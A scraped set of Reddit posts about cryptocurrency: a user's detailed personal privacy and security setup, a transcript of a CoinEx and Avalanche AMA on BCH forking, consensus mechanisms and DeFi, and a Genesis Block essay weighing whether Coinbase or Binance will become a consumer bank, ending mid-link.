FAQ. If you notice anything missing from the FAQ or that requires clarification you can edit it here and it will be included in the next revision pending approval. Welcome to the Bitcoin community and the new decentralized economy! submitted by BitcoinFan7 to Bitcoin [link] [comments] What I currently use for privacy (after almost 2 years of long investing into it) First of all, my threat model: I'm just an average person that wants to AVOID the maximum I can to be monitored and tracked by the government and big corps, a lot of people out there REALLY hate me and I've gone through lots of harassment and other stuff, I also plan to take my activism and love for freedom more seriously and to do stuff that could potentially lead me to very high danger or even put my life on the line. That being said, my main focus is on something that is privacy-friendly but also something with decent security (no point having a lot of privacy if a script kiddie can just break into it an boom, everything is gone) anonymity is also desirable but I'm pretty aware that true 100% anonymity is simply not possible and to achieve the maximum you can of it currently you'd have to give up A LOT of stuff in which I don't think I really could. So basically, everything that I said + I don't want to give up some hobbies of mine (as playing games etc) Here's what I use/have done so far, most of it is based on privacytools.io list and research I've done. Mobile: Google Pixel 3a XL running GrapheneOS Apps: Stock apps (Vanadium, Gallery, Clock, Contacts etc) + F-DROID, NewPipe, OsmAnd+, Joplin, Tutanota, K-9 Mail, Aegis Authenticator, KeePassDX, Syncthing, Signal, Librera PRO, Vinyl, Open Camera and Wireguard. I also use BlahDNS as my private DNS. Other smartphone stuff/habits: I use a Supershieldz Anti Spy Tempered Glass Screen Protector on my phone and I also have a Faraday Sleeve from Silent Pocket which my phone is on most of the times (I don't have smartphone addiction and would likely advice you to break free from smartphone addiction if you have it). I NEVER use bluetooth (thank god Pixel 3a have a headphone jack so yeah, no bluetooth earphones here) and always keep my Wi-Fi off if I'm not using it. Computer: I have a desktop that I built (specs: Asus B450M Gaming, AMD Ryzen 3 3300X, Radeon RX 580 8GB, 16GB DDR4 2666Mhz, 3TB HDD, 480GB SSD) that is dualbooted with QubesOS and Arch Linux. Qubes is my main OS that I use as daily driver and for my tasks, I use Arch for gaming. I've installed linux-hardened and its headers packages on my Arch + further kernel hardening using systctl and boot parameters, AppArmor as my MAC system and bubblewrap for sandboxing programs. I also spoof my MAC address and have restricted root access, I've also protected my GRUB with password (and use encrypted boot) and have enabled Microcode updates and have NTP and IPV6 disabled. Also on Arch, I use iptables as a firewall denying all incoming traffic, and since it's my gaming PC, I don't game on the OS, instead, I use a KVM/QEMU Windows VM for gaming (search "How I Built The "Poor-Shamed" Computer" video to see what I'm talking about) I also use full disk encryption. Software/Providers: E-Mails: I use ProtonMail (Plus Account paid with bitcoin) and Tutanota (free account as they don't accept crypto payment yet, come on Tutanota, I've been waiting for it for 2 years already) since I have plus account on ProtonMail it allows me to use ProtonMail Bridge and use it on Claws Mail (desktop) and K-9 Mail (mobile) as for Tutanota I use both desktop and mobile app. Some other e-mails habits of mine: I use e-mail aliases (ProtonMail plus account provides you with 5) and each alias is used for different tasks (as one for shopping, one for banking, one for accounts etc) and none of my e-mails have my real name on it or something that could be used to identify me. I also highly avoid using stuff that require e-mail/e-mail verification for usage (e-mail is such a pain in the ass tbh) I also make use of Spamgourmet for stuff like temporary e-mail (best service I found for this doing my research, dunno if it's really the best tho, heard that AnonAddy does kinda the same stuff but dunno, recommendations are welcomed) Browsers/Search Engine: As mentioned, I use Vanadium (Graphene's stock browser) on mobile as it is the recommended browser by Graphene and the one with the best security for Android, for desktop I use a Hardened Firefox (pretty aware of Firefox's security not being that good, but it's the best browser for PC for me as Ungoogled Chromium is still not there in A LOT of things + inherent problems of Chrome as not being able to disable WebRTC unless you use an extension etc) with ghacks-user.js and uBlock Origin (hard mode), uMatrix (globally blocking first party scripts), HTTPS Everywhere (EASE Mode), Decentraleyes (set the recommended rules for both uBlock Origin and uMatrix) and Temporary Containers as addons. I also use Tor Browser (Safest Mode) on a Whonix VM on Qubes sometimes. DuckDuckGo is my to-go search engine and I use DNS over HTTPS on Firefox (BlahDNS as my provider once again) browsing habits: I avoid JavaScript the maximum I can, if it's really needed, I just allow the scripts temporarely on uBlock Origin/uMatrix and after I'm done I just disable it. I also generally go with old.reddit.com instead of reddit.com (as JavaScript is not required to browse the old client), nitter.net for checking twitter stuff (although I rarely have something peaking my interest on Twitter) and I use invidious.snopyta.org as youtube front-end (I do however use YouTube sometimes if a video I wanna see can't be played on invidious or if I wanna watch a livestream) and html.duckduckgo.com instead of duckduckgo.com other than avoiding JavaScript most of my browsing habits are just common sense at this point I'd say, I also use privatebin (snopyta's instance) instead of pastebin. I also have multiple firefox profiles for different tasks (personal usage, shopping, banking etc) VPN: I use Mullvad (guess you can mention it here since it's PTIO's recommended) paid with bitcoin and honestly best service available tbh. I use Mullvad's multihop implementation on Wireguard which I manually set myself as I had the time and patience to learn how. password manager: KeePassXC on desktop and KeePassDX on my smartphone, my password database for my desktop is stored on a USB flash driver I encrypted with VeraCrypt. some other software on desktop: LibreOffice (as a Microsoft Office substitute), GIMP (Photshop substitute), Vim (I use it for multiple purposes, mainly coding IDE and as a text editor), VLC (media player), Bisq (bitcoin exchange), Wasabi (bitcoin wallet), OBS (screen recording), Syncthing (file sync), qBitTorrent (torrent client) and Element (federated real-time communication software). I sadly couldn't find a good open-source substitute to Sony Vegas (tested many, but none was in the same level of Vegas imo, KDENLive is okay tho) so I just use it on a VM if I need it (Windows VM solely for the purpose of video editing, not the same one I use for gaming) Other: router: I have an Asus RT-AC68U with OpenWRT as its firmware. I also set a VPN on it. cryptocurrency hardware wallet: I store all of my cryptocurrency (Bitcoin and Monero) on a Ledger Nano S, about 97% of my money is on crypto so a hardware wallet is a must for me. I have lots of USB flash drivers that I use for Live ISOs and for encrypted backups. I also have a USB Data Blocker from PortaPow that I generally use if I need to charge my cellphone in public or in a hotel while on a trip (rare occasion tbh). I have a Logitech C920e as webcam and a Blue Yeti microphone in which I never let them plugged, I only plug them if it's necessary and after I'm done I just unplug them. I also have a Nintendo Switch Lite as a gaming console that I most of the times just use offline, I just connect to the internet if needed for a software update and then just turn the Wi-Fi off from it. Other Habits/Things I've done: payments: I simply AVOID using credit card, I try to always pay on cash (I live in a third-world country so thank god most of people here still depend on cash only) physically and online I try my best to either by using cryptocurrency or using gift cards/cash by mail if crypto isn't available. I usually buy crypto on Bisq as I just don't trust any KYC exchange (and neither should you) and since there aren't many people here in my area to do face to face bitcoin trade (and I'm skeptical of face to face tbh), I use the Wasabi Wallet (desktop) to coinjoin bitcoin before buying anything as this allows a bit more of privacy, I also coinjoin on Wasabi before sending my bitcoins to my hardware wallet. I also don't have a high consumerism drive so I'm not constantly wanting to buy everything that I see (which helps a lot on this criteria) social media/accounts: as noted, aside from Signal and Element (which I don't even use that often) I just don't REALLY use any social media (tried Mastodon for a while but I was honestly felt it kinda desert there and most of its userbase from what I've seen were some people I'd just... rather don't hang with tbh) and, althoug not something necessary is something that I really advise people to as social media is literally a poison to your mind. I also don't own any streaming service like Netflix/Amazon Prime/Spotify etc, I basically pirate series/movies/songs and that's it. I've also deleted ALL my old accounts from social media (like Twitter etc) and old e-mails. ALL of my important and main accounts have 2FA enabled and are protected by a strong password (I use KeePass to generate a 35 character lenght password with numbers, capital letters, special symbols etc, each account uses a unique password) I also NEVER use my real name on any account and NEVER post any pictures of myself (I rarely take pictures of stuff if anything) iot/smart devices: aside from my smartphone, I don't have any IOT/smart device as I honestly see no need for them (and most of them are WAY too expensive on third-world countries) files: I constatly backup all of my files (each two weeks) on encrypted flash drivers, I also use BleachBit for temporary data cleaning and data/file shredding. I also use Syncthing as a substitute to stuff like Google Drive. Future plans: learn to self-host and self-host an e-mail/NextCloud (and maybe even a VPN) find something like BurneHushed but FOSS (if you know any please let me know) So, how is it? anything that I should do that I'm probably not doing? submitted by StunningDistrust to privacytoolsIO [link] [comments] Recap on CoinEx & Avalanche AMA Aug 5, 2020 Written by SatoshisAngels Published by read.cash On August 5th 2020, Satoshi’s Angels hosted an AMA for CoinEx on “How BCH and Avalanche Are Bringing Financial Freedom to 6 Billion People” on a Chinese platform Bihu. During the 100-minute event, Haipo Yang of ViaBTC and CoinEx, and Emin Gun Sirer of AVA Labs shared their in-depth views on such topics as different consensus mechanisms, community governance, IPFS, Defi. And Haipo explained why he wants to fork BCH. This is the full text. You can check out the full AMA here (mostly in Chinese with some English translation). https://preview.redd.it/x790bw58axf51.png?width=1920&format=png&auto=webp&s=03c8af942f8f14d98d5dd693adf9e2a50448d61d Cindy Wang (Satoshi’s Angels): There are news saying that you are to fork BCH. Is it a marketing makeover? Are you serious about it? Haipo Yang: It’s definitely not a marketing makeover. But the details are not decided yet. Over the past three years, the BCH community has gone through multiple discussions from reducing block time, changing mining algorithms, adding smart contracts, etc. But none of these disputes have been well settled. BCH is a big failure in terms of governance. A lack of good governance has made it fall in disorder. It is too decentralized to make progress. You may know that the first BCH block was mined by ViaBTC. And we gave a lot of support to it indeed. But we didn’t dominate the fork. The Chinese community in particular thought I had a lot of influence, but it was not true. I think the whole community is very dissatisfied with Bitcoin ABC, but it is difficult to replace them or change the status quo. So I am thinking of creating a new branch of BCH. The idea is still in early stage. I welcome anyone interested to participate and discuss it with me. Wang: Professor Emin, what’s your attitude to fork? Do you think it’s a good timing to fork BCH? Emin Gun Sirer: I am a big fan of BCH. It adheres to the original vision of Satoshi Nakamoto. I like the technical roadmap of BCH. But just like what Haipo mentioned, BCH lacks a good governance mechanism. There are always something that can cause BCH community to divide itself. But I think it’s not enough to just have a good governance mechanism. There are many good proposals in the community but failed to be adopted in the end. I think BCH needs social leadership to encourage discussion when there are new proposals. Wang: We are all curious to know How Avalanche got its name? I know that Avalanche doesn’t mean well in Chinese. But in English, it’s a very powerful word. Avalanche represents a series of algorithms piling together like a mountain. When decisions slowly form, the ball (nodes in the network) on top of the mountain starts going down the hill on one side, and it gets bigger and bigger, and like an avalanche and it becomes unstoppable, making the transaction final. Wang: Prof. Emin, I know that you are a big blocker. Have you ever considered implementing Avalanche based on BCH? Why create another chain? Sirer: Of course I considered that. Satoshi Nakamoto consensus is wonderful, but the proof-of-work mechanism and Nakamoto consensus base protocols have some shortcomings, such as network latency, and it is hard to scale. Avalanche, instead, is totally different, and is the new biggest breakthrough in the past 45 years. It is flexible, fast, and scalable. I’d love to implement BCH on top of avalanche in the future, to make BCH even better by making 0-conf transactions much more secure. Wang: As an old miner, why did CoinEx Chain choose to “abandon” POW, and turn to POS mechanism? Haipo: Both POW and POS consensus algorithms have their own advantages. POW is not just a consensus algorithm, but also a more transparent and open distribution method of digital currency. Anyone can participate in it through mining. POW is fairer. For a POS-based network, participants must have coins. For example, you need to invest ICO projects to obtain coins. But developers can get a lot of coins almost for free. In addition, POW is more open. Anyone can participate without holding tokens. For example, as long as you have a computer and mining rigs, you can participate in mining. Openness and fairness are two great features of POW. POS is more advanced, safe and efficient. POS is jointly maintained by the token holders, and there is no problem of 51% attacks. Those who hold tokens are more inclined to protect the network than to destroy the network for their own interests. To disrupt the network, you need to buy at least two-thirds of the token, which is very difficult to achieve. And when you actually hold so many coins, it’s barely possible for you to destroy the network. POW has the problem of 51% attack. For example, ETC just suffered the 51% attack on August 3. And the cost to do that is very low. It can be reorganized with only tens of thousands of dollars. This is also a defect of POW. In addition, in terms of TPS and block speed, POS can achieve second-level speed and higher TPS. Therefore, CoinEx Chain chose POS because it can bring a faster transaction experience. This is very important for decentralized exchanges. Both POW and POS have their own advantages. It’s a matter of personal choice. When choosing a consensus mechanism, the choice must be made according to the characteristics of the specific project. https://preview.redd.it/upbayijaaxf51.jpg?width=1055&format=pjpg&auto=webp&s=703e3b6a493a76f86bc9045e784d174bde9d3c42 Wang: Ethereum is switching to ETH 2.0. If they succeed, do you think it will lead the next bull market? Sirer: If Ethereum 2.0 can be realized, it must be a huge success. But I doubt it can be launched anytime soon considering that it has been constantly delayed. And even if it comes out, I am not so sure if it will address the core scaling problem. And the main technology in Ethereum 2.0 is sharding. Sharding technology divides the Ethereum networks into small parallel groups, but I think what will happen is everyone wants to be in the same “shard” so the sharding advantages might not be realizable in Ethereum 2.0. Avalanche supports Ethereum’s virtual machine, and Avalanche can realize 1 second level confirmation, while with sharding finalizing confirmation takes 5–6 seconds at best. Avalanche approach to make Ethereum scale is superior to Ethereum 2.0. There are many big players behind Ethereum 2.0, and I wish them success. But I believe that Avalanche will be the fastest and best Smart Contract platform in the crypto space, and it is compatible with Ethereum. Wang: Why is Avalanche a real breakthrough？ Sirer: Avalanche is fundamentally different from previous consensus mechanisms. It’s very fast with TPS surpasses 6500, which is three times that of VISA. Six confirmations can be achieved in one second. Compared with the POW mechanism of Bitcoin and Bitcoin Cash, Avalanche’s participation threshold is very low. It allows multiple virtual machines to be built on the Avalanche protocol. Avalanche is not created to compete with Bitcoin or fiat currencies such as the US dollar and RMB. It’s not made to compete with Ethereum, which is defined as the “world’s computer”. Avalanche is positioned to be an asset issuance platform to tokenize assets in the real world. Wang: How do you rank the importance of community, development, governance, and technology to a public chain? Sirer: These four are like the legs of a table. Every foot is very important. The table cannot stand without strong support. A good community needs to be open to welcome developers and people. Good governance is especially important, to figure out what users need and respect their voices. Development needs to be decentralized. Avalanche has developers all over the world. And it has big companies building on top of Avalanche. Yang: From a long-term perspective, I think governance is the most important thing, which is the same as running a company. In the long run, technology is not important. Blockchain technology is developed based on an open source softwares that are free to the community. Community is also not the most important factor. I think the most important thing is governance. Decentralization is more about technical. For example, Bitcoin, through a decentralized network method, ensures the openness and transparency of data assets, and the data on the chain cannot be tampered with, ensuring that the total amount of coins has a fixed upper limit. But at the governance level, all coins are centralized at some degree. For example, BCH developers can decide to modify the protocol. In a sense, it is the same as managing a company. Historically, the reasons for the success and failure of companies all stem from bad governance. For example, Apple succeeded based on Steve Jobs’s charisma, leadership and the pursuit of user experience. When Jobs was kicked out, Apple suffered great losses. After Jobs returned, he made Apple great again. Issues behind Bitmain is also about governance. Simply put, governance requires leaders who have a longer-term vision and are more capable of coordinating and balancing the resources and interests of all parties to lead the community. In the blockchain world, many people focus on technology. In fact, technology is not enough to make great products. User experience is most important. Users don’t care about the blockchain technology itself, but more concerned about whether it is easy to use and whether it can solve my problem. We need to figure out how to deliver a product like Apple. The pursuit of user experience is also governance in nature. And governance itself lies in the soul of key leaders in the community. Realize tokenization of assets in. https://preview.redd.it/14jf1bvcaxf51.jpg?width=1082&format=pjpg&auto=webp&s=c312912142c38de986f42912086e205354162190 Wang: Speaking of asset tokenization, I would like to ask Haipo, do you think the market for assets on the chain is big? Yang: It must be very big. We need to see which assets can be tokenized. Assets that can be tokenized are standardized assets, sush as currencies and securities. In terms of currency, Tether has issued over 10 billion U.S. dollars. Many people think that’s too much. But I think this market is underestimated. The market for stablecoins in the future must be hundreds of billions or even trillions, especially after the release of Facebook’s Libra. Even US dollar might be issued based on the blockchain in the future. At present, the settlement of USD currency is through the SWIFT system. But the SWIFT system itself is only a clearing network, a messaging system, not a settlement network. It takes a long time for clearing and settlement, and it is not reliable. But both USDT and USDC can quickly realize cross-border transfers in seconds and realize asset delivery. Even sovereign currencies are likely to be issued on the blockchain. I believe RMB also has such a plan. Equity and securities markets are the largest market. But they have strict requirements for market access. Whether a stock is listed on A-shares or in the American markets, it’s hard to obtain them. I believe that the blockchain can completely release the demand through decentralization. It can allow any tiny company or even a project to issue, circulate and finance a token. There may be only tens of thousands of stocks currently traded globally. There are also tens of thousands of tokens in the crypto space. I believe that millions or more of assets will be traded and circulated in the future. This can only be realized through decentralized technology and organization. The market for assets tokenization will be huge. And at present, the entire blockchain technology is still very primitive. Bitcoin and Ethereum only have a few or a dozen TPS, which is far from meeting market demand. This is why CoinEx is committed to building a decentralized Dex public chain. Wang: Avalanche’s paper was first published on IPFS. What do you think of IPFS? Sirer: I personally like IPFS very much. It is a decentralized storage solution. Yang: There is no doubt that IPFS solves the problem of decentralized storage, and can be robust in the blockchain world, and can replace HPPT services. But there are still three problems: IPFS is not for ordinary users. Everybody needs BCH and BTC, but only developers need IPFS, which is a relatively niche market; IPFS is more expensive than traditional storage solutions, which further reduces its practicality. In order to achieve decentralization, more copies must be stored, and more hardware devices must be consumed. In the end, these costs will be on to users. There may be compliance issues. If you use IPFS to store sensitive information, such as info from WikiLeaks, it may end up threatening national security. I doubt that decentralized storage and decentralized public chains can survive under the joint pressure of global governments. The IPFS project solves certain problems. But from the perspective of application prospects, I am pessimistic. Wang: What do you think of Defi? Yang: I want to talk about the concept first. Broadly speaking, the entire blockchain industry is DeFi in nature. Blockchain is to realize the circulation of currency, equity, and asset value through decentralization. So in a broad sense, blockchain itself is DeFi. In a narrow sense, DeFi is a financial agreement based on smart contracts. DeFi, through smart contracts, can build applications more flexibly. For example, before we could only use Bitcoin to transfer and pay. Now with smart contracts, flexible functions such as lending, exchange, mortgage , etc. are available. The entire blockchain industry is gradually evolving under the conditions of DeFi. DeFi will definitely get greater development in the future. Sirer: I think Defi will definitely have a huge impact. DeFi is not only an innovation in the cryptocurrency field, but also an innovation in the financial field. Wall Street companies have stagnated for years with no innovation. Avalanche fits different DeFi needs, including performance and compliance. In the future, not only will Wall Street simply adopt DeFi, but DeFi will grow into a huge market that will eventually replace the traditional financial system. Questions from the community: 1. How does Avalanche integrate with DeFi? Sirer: At present, all DeFi applications on Avalanche have surpassed Ethereum. What can be achieved on Ethereum can be achieved on Avalanche with better user experience. We are currently connecting with popular DeFi projects such as Compound and MakerDao to add part of or all of their functions. At present, Avalanche is working on decentralized exchange (DEX). The current DEXs are limited by speed and performance but when they are built on top of Avalanche it will be real-time and very fast. 2. How many developers does BCH have? Yang: I think it does not matter how many developers there are. What matters is what should be developed. I watched Jobs’ video the other day, and it inspired me a lot. We are not piecing together technology to see what technology can do. It’s we figure out what we want first and then we use the technology we need. The entire blockchain community worship developers. Such as they call Vitalik “V God”. It’s not necessary to treat developers as wizards. Developers are programmers, and I myself is also a programmer. ViaBTC has a development team of over 100 people, including core members from Copernicus (a dev team formerly belonged to Bitmain). Technically we are very confident to build faster, stabler, and better user experience products. submitted by CoinExcom to btc [link] [comments] Crypto Banking Wars: Will Coinbase or Binance Become The Bank of The Future? Can the early success of major crypto exchanges propel them to winning the broader consumer finance market? https://reddit.com/link/i48t4q/video/v4eo10gom7f51/player This is the first part of Crypto Banking Wars — a new series that examines what crypto-native company is most likely to become the bank of the future. Who is best positioned to reach mainstream adoption in consumer finance? While crypto allows the world to get rid of banks, a bank will still very much be necessary for this powerful technology to reach the masses. We believe a crypto-native company, like Genesis Block, will become the bank of the future. In an earlier series, Crypto-Powered, we laid out arguments for why crypto-native companies have a huge edge in the market. When you consider both the broad spectrum of financial use-cases and the enormous value unlocked through these DeFi protocols, you can see just how big of an unfair advantage blockchain tech becomes for companies who truly understand and leverage it. Traditional banks and fintech unicorns simply won’t be able to keep up. The power players of consumer finance in the 21st century will be crypto-native companies who build with blockchain technology at their core. The crypto landscape is still nascent. We’re still very much in the fragmented, unbundled phase of the industry lifecycle. Beyond what Genesis Block is doing, there are signs of other companies slowly starting to bundle financial services into what could be an all-in-one bank replacement. So the key question that this series hopes to answer: Which crypto-native company will successfully become the bank of the future? We obviously think Genesis Block is well-positioned to win. But we certainly aren’t the only game in town. In this series, we’ll be doing an analysis of who is most capable of thwarting our efforts. We’ll look at categories like crypto exchanges, crypto wallets, centralized lending & borrowing services, and crypto debit card companies. Each category will have its own dedicated post. Today we’re analyzing big crypto exchanges. The two companies we’ll focus on today are Coinbase (biggest American exchange) and Binance (biggest global exchange). They are the top two exchanges in terms of Bitcoin trading volume. They are in pole position to winning this market — they have a huge existing userbase and strong financial resources. Will Coinbase or Binance become the bank of the future? Can their early success propel them to winning the broader consumer finance market? Is their growth too far ahead for anyone else to catch up? Let’s dive in. https://preview.redd.it/lau4hevpm7f51.png?width=800&format=png&auto=webp&s=2c5de1ba497199f36aa194e5809bd86e5ab533d8 Binance The most formidable exchange on the global stage is Binance (Crunchbase). All signs suggest they have significantly more users and a stronger balance sheet than Coinbase. No other exchange is executing as aggressively and relentlessly as Binance is. The cadence at which they are shipping and launching new products is nothing short of impressive. As Tushar Jain from Multicoin argues, Binance is Blitzscaling. Here are some of the products that they’ve launched in the last 18 months. Only a few are announced but still pre-launch. Lending: earn interest on your deposits Debit Card: users can spend their crypto with a card (via Swipe acquisition) Fiat onramps: 300+ payment methods and supported in 170+ countries Options Trading: starting with mobile-only and Bitcoin Futures Trading: became top 2 in volume within 6 months Margin Trading: can get up to 5x leverage BUSD stablecoin: similar to USDC, PAX, and other USD-backed stablecoins Staking: easily earn interest on assets that have Proof of Stake chain Mining pool: allowing miners to easily transfer funds between various Binance services OTC Portal: over-the-counter trading desk for those who want to make bigger trades Peer-to-Peer trading: for onramps/offramps (i.e. user buying crypto with fiat) Launchpad: crypto startups can launch their tokens via IEO (Initial Exchange Offering) Binance Charity: recently donated a lot to covid19-related efforts Binance Chain: a new blockchain that powers their Binance Dex. Binance DEX: a decentralized exchange Binance Labs: the venture arm of Binance Smart Contracts on Binance Chain: could this be an Ethereum killer? Binance is well-positioned to become the crypto-powered, all-in-one, bundled solution for financial services. They already have so many of the pieces. But the key question is: Can they create a cohesive & united product experience? Binance Weaknesses Binance is strong, but they do have a few major weaknesses that could slow them down. Traders & Speculators Binance is currently very geared for speculators, traders, and financial professionals. Their bread-and-butter is trading (spot, margin, options, futures). Their UI is littered with depth charts, order books, candlesticks, and other financial concepts that are beyond the reach of most normal consumers. Their product today is not at all tailored for the broader consumer market. Given Binance’s popularity and strength among the pro audience, it’s unlikely that they will dumb down or simplify their product any time soon. That would jeopardize their core business. Binance will likely need an entirely new product/brand to go beyond the pro user crowd. That will take time (or an acquisition). So the question remains, is Binance even interested in the broader consumer market? Or will they continue to focus on their core product, the one-stop-shop for pro crypto traders? Controversies & Hot Water Binance has had a number of controversies. No one seems to know where they are based — so what regulatory agencies can hold them accountable? Last year, some sensitive, private user data got leaked. When they announced their debit card program, they had to remove mentions of Visa quickly after. And though the “police raid” story proved to be untrue, there are still a lot of questions about what happened with their Shanghai office shut down (where there is smoke, there is fire). If any company has had a “move fast and break things” attitude, it is Binance. That attitude has served them well so far but as they try to do business in more regulated countries like America, this will make their road much more difficult — especially in the consumer market where trust takes a long time to earn, but can be destroyed in an instant. This is perhaps why the Binance US product is an empty shell when compared to their main global product. Disjointed Product Experience Because Binance has so many different teams launching so many different services, their core product is increasingly feeling disjointed and disconnected. Many of the new features are sloppily integrated with each other. There’s no cohesive product experience. This is one of the downsides of executing and shipping at their relentless pace. For example, users don’t have a single wallet that shows their balances. Depending on if the user wants to do spot trading, margin, futures, or savings… the user needs to constantly be transferring their assets from one wallet to another. It’s not a unified, frictionless, simple user experience. This is one major downside of the “move fast and break things” approach. BNB token Binance raised $15M in a 2017 ICO by selling their $BNB token. The current market cap of $BNB is worth more than $2.6B. Financially this token has served them well. However, given how BNB works (for example, their token burn), there are a lot of open questions as to how BNB will be treated with US security laws. Their Binance US product so far is treading very lightly with its use of BNB. Their token could become a liability for Binance as it enters more regulated markets. Whether the crypto community likes it or not, until regulators get caught up and understand the power of decentralized technology, tokens will still be a regulatory burden — especially for anything that touches consumers. Binance Chain & Smart Contract Platform Binance is launching its own smart contract platform soon. Based on compatibility choices, they have their sights aimed at the Ethereum developer community. It’s unclear how easy it’ll be to convince developers to move to Binance chain. Most of the current developer energy and momentum around smart contracts is with Ethereum. Because Binance now has their own horse in the race, it’s unlikely they will ever decide to leverage Ethereum’s DeFi protocols. This could likely be a major strategic mistake — and hubris that goes a step too far. Binance will be pushing and promoting protocols on their own platform. The major risk of being all-in on their own platform is that they miss having a seat on the Ethereum rocket ship — specifically the growth of DeFi use-cases and the enormous value that can be unlocked. Integrating with Ethereum’s protocols would be either admitting defeat of their own platform or competing directly against themselves. Binance Wrap Up I don’t believe Binance is likely to succeed with a homegrown product aimed at the consumer finance market. Their current product — which is focused heavily on professional traders and speculators — is unlikely to become the bank of the future. If they wanted to enter the broader consumer market, I believe it’s much more likely that they will acquire a company that is getting early traction. They are not afraid to make acquisitions (Trust, JEX, WazirX, DappReview, BxB, CoinMarketCap, Swipe). However, never count CZ out. He is a hustler. Binance is executing so aggressively and relentlessly that they will always be on the shortlist of major contenders. https://preview.redd.it/mxmlg1zqm7f51.png?width=800&format=png&auto=webp&s=2d900dd5ff7f3b00df5fe5a48305d57ebeffaa9a Coinbase The crypto-native company that I believe is more likely to become the bank of the future is Coinbase (crunchbase). Their dominance in America could serve as a springboard to winning the West (Binance has a stronger foothold in Asia). Coinbase has more than 30M users. Their exchange business is a money-printing machine. They have a solid reputation as it relates to compliance and working with regulators. Their CEO is a longtime member of the crypto community. They are rumored to be going public soon. Coinbase Strengths Let’s look at what makes them strong and a likely contender for winning the broader consumer finance market. Different Audience, Different Experience Coinbase has been smart to create a unique product experience for each audience — the pro speculator crowd and the common retail user. Their simple consumer version is at Coinbase.com. That’s the default. Their product for the more sophisticated traders and speculators is at Coinbase Pro (formerly GDAX). Unlike Binance, Coinbase can slowly build out the bank of the future for the broad consumer market while still having a home for their hardcore crypto traders. They aren’t afraid to have different experiences for different audiences. Brand & Design Coinbase has a strong product design team. Their brand is capable of going beyond the male-dominated crypto audience. Their product is clean and simple — much more consumer-friendly than Binance. It’s clear they spend a lot of time thinking about their user experience. Interacting directly with crypto can sometimes be rough and raw (especially for n00bs). When I was at Mainframe we hosted a panel about Crypto UX challenges at the DevCon4 Dapp Awards. Connie Yang (Head of Design at Coinbase) was on the panel. She was impressive. Some of their design philosophies will bode well as they push to reach the broader consumer finance market. USDC Stablecoin Coinbase (along with Circle) launched USDC. We’ve shared some stats about its impressive growth when we discussed DeFi use-cases. USDC is quickly becoming integrated with most DeFi protocols. As a result, Coinbase is getting a front-row seat at some of the most exciting things happening in decentralized finance. As Coinbase builds its knowledge and networks around these protocols, it could put them in a favorable position to unlock incredible value for their users. Early Signs of Bundling Though Coinbase has nowhere near as many products & services as Binance, they are slowly starting to add more financial services that may appeal to the broader market. They are now letting depositors earn interest on USDC (also DAI & Tezos). In the UK they are piloting a debit card. Users can now invest in crypto with dollar-cost-averaging. It’s not much, but it’s a start. You can start to see hints of a more bundled solution around financial services. Coinbase Weaknesses Let’s now look at some things that could hold them back. Slow Cadence In the fast-paced world of crypto, and especially when compared to Binance, Coinbase does not ship very many new products very often. This is perhaps their greatest weakness. Smaller, more nimble startups may run circles around them. They were smart to launch Coinbase Ventures where tey invest in early-stage startups. They can now keep an ear to the ground on innovation. Perhaps their cadence is normal for a company of their size — but the Binance pace creates quite the contrast. Lack of Innovation When you consider the previous point (slow cadence), it’s unclear if Coinbase is capable of building and launching new products that are built internally. Most of their new products have come through acquisitions. Their Earn.com acquisition is what led to their Earn educational product. Their acquisition of Xapo helped bolster their institutional custody offering. They acqui-hired a team to help launch their staking infrastructure. Their acquisition of Cipher Browser became an important part of Coinbase Wallet. And recently, they acquired Tagomi — a crypto prime brokerage. Perhaps most of Coinbase’s team is just focused on improving their golden goose, their exchange business. It’s unclear. But the jury is still out on if they can successfully innovate internally and launch any homegrown products. Talent Exodus There have been numerous reports of executive turmoil at Coinbase. It raises a lot of questions about company culture and vision. Some of the executives who departed include COO Asiff Hirji, CTO Balaji Srinivasan, VP & GM Adam White, VP Eng Tim Wagner, VP Product Jeremy Henrickson, Sr Dir of Eng Namrata Ganatra, VP of Intl Biz Dan Romero, Dir of Inst Sales Christine Sandler, Head of Trading Hunter Merghart, Dir Data Science Soups Ranjan, Policy Lead Mike Lempres, Sr Compliance Vaishali Mehta. Many of these folks didn’t stay with Coinbase very long. We don’t know exactly why it’s happening —but when you consider a few of my first points (slow cadence, lack of innovation), you have to wonder if it’s all related. Institutional Focus As a company, we are a Coinbase client. We love their institutional offering. It’s clear they’ve been investing a lot in this area. A recent Coinbase blog post made it clear that this has been a focus: “Over the past 12 months, Coinbase has been laser-focused on building out the types of features and services that our institutional customers need.” Their Tagomi acquisition only re-enforced this focus. Perhaps this is why their consumer product has felt so neglected. They’ve been heavily investing in their institutional services since May 2018. For a company that’s getting very close to an IPO, it makes sense that they’d focus on areas that present strong revenue opportunities — as they do with institutional clients. Even for big companies like Coinbase, it’s hard to have a split focus. If they are “laser-focused” on the institutional audience, it’s unlikely they’ll be launching any major consumer products anytime soon. Coinbase Wrap Up At Genesis Block, we‘re proud to be working with Coinbase. They are a fantastic company. However, I don’t believe that they’ll succeed in building their own product for the broader consumer finance market. While they have incredible design, there are no signs that they are focused on or capable of internally building this type of product. Similar to Binance, I think it’s far more likely that Coinbase acquires a promising young startup with strong growth. Honorable Mentions Other US-based exchanges worth mentioning are Kraken, Gemini, and Bittrex. So far we’ve seen very few signs that any of them will aggressively attack broader consumer finance. Most are going in the way of Binance — listing more assets and adding more pro tools like margin and futures trading. And many, like Coinbase, are trying to attract more institutional customers. For example, Gemini with their custody product. Wrap Up Coinbase and Binance have huge war chests and massive reach. For that alone, they should always be considered threats to Genesis Block. However, their products are very, very different than the product we’re building. And their approach is very different as well. They are trying to educate and onboard people into crypto. At Genesis Block, we believe the masses shouldn’t need to know or care about it. We did an entire series about this, Spreading Crypto. Most everyone needs banking — whether it be to borrow, spend, invest, earn interest, etc. Not everyone needs a crypto exchange. For non-crypto consumers (the mass market), the differences between a bank and a crypto exchange are immense. Companies like Binance and Coinbase make a lot of money on their crypto exchange business. It would be really difficult, gutsy, and risky for any of them to completely change their narrative, messaging, and product to focus on the broader consumer market. I don’t believe they would ever risk biting the hand that feeds them. In summary, as it relates to a digital bank aimed at the mass market, I believe both Coinbase and Binance are much more likely to acquire a startup in this space than they are to build it themselves. And I think they would want to keep the brand/product distinct and separate from their core crypto exchange business. So back to the original question, is Coinbase and Binance a threat to Genesis Block? Not really. Not today. But they could be, and for that, we want to stay close to them. ------ Other Ways to Consume Today's Episode: Read on Medium: https://medium.com/genesisblock/crypto-banking-wars-will-coinbase-or-binance-become-the-bank-of-the-future-eb31bcf02b02 Watch on YouTube: https://youtu.be/0csY1j0FuEk Listen on SoundCloud: 